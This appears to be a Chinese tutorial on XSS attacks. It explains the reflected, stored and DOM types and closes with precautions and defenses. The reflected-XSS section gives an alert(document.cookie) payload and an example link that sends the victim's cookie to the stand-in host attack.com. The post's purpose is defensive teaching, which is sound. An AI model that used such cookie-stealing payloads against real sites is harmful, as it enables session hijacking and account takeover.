xss(Cross-Site Scripting,跨域脚本攻击)攻击是一种常见的代码注入型攻击,攻击者将恶意代码注入目标网站,并使其在用户浏览器上运行。通过这些恶意代码攻击者可以获取用户的敏感信息,如cookie、SessionID等等。
xss攻击的根本原因是对用户的输入和浏览器的输出没有做过滤和处理
点击开始xss攻击小游戏
xss攻击可分为以下几类:
- Reflected XSS(反射型 XSS 攻击)
- Stored XSS(存储型 XSS 攻击)
- DOM XSS
- JSONP XSS
Reflected XSS(反射型 XSS 攻击)
反射型xss攻击是非持久性攻击,它仅对本次访问有影响,主要是因为服务器端收到不安全的输入,并且在客户端触发了执行。
比如搜索框,当我们把带有执行脚本的字符串如alert(document.cookie)
输入后,如果客户端和服务器均为对其进行过滤处理,则会在搜索界面弹框显示当前页面的cookie值。如果被攻击者加以利用则可将该值发送给攻击者的外部网站,获取用户SessionID从而免密使用用户账号操作用户数据。
反射型攻击是将恶意代码存储在URL当中需要诱导用户点击注入恶意代码的链接如http://www.baidu.com/search?key='http://attack.com?name='+document.cookie
反射性攻击常见于网页搜索、跳转等。
Stored XSS(存储型 XSS 攻击)
存储型攻击是持久性攻击,它是通过提交带有恶意脚本的内容存储在服务器上,当其他人看到这些内容时发起 Web 攻击。
存储型 XSS攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。
攻击者将带有恶意代码的评论或者帖子发表到网站上,恶意代码将在所有访问该评论或者帖子的用户浏览器上执行。
DOM XSS
DOM XSS攻击是发生在客户端的攻击,它会通过恶意脚本修改DOM结构。
DOM XSS攻击一般是通过网关向你访问的任何网页插入恶意代码或是重定向到指定网站,可通过向用户提供免费wifi实现,这其实就是中间人劫持。
DOM XSS攻击与以上两种攻击不同的是恶意代码取出与执行都在浏览器端发生,而另外两种则发生在服务器。
JSONP XSS
XSS攻击注意事项与防御
注意事项:
- 所有用户输入得地方都是不安全的;
- 所有展示用户输入的地方都不安全;
- js 里不要用 eval;
- 慎用.innerHTML、.outerHTML、document.write() .
防御:
- 所有输入输出都要进行必要的过滤转义
- 在 cookie 中设置 HttpOnly 属性后,js脚本将无法读取到 cookie 信息
- 对于富文本内容来说可以通过设置白名单来进行过滤,因为对富文本内容进行转义会失去其所需要的格式
- 使用HTTPS
网友评论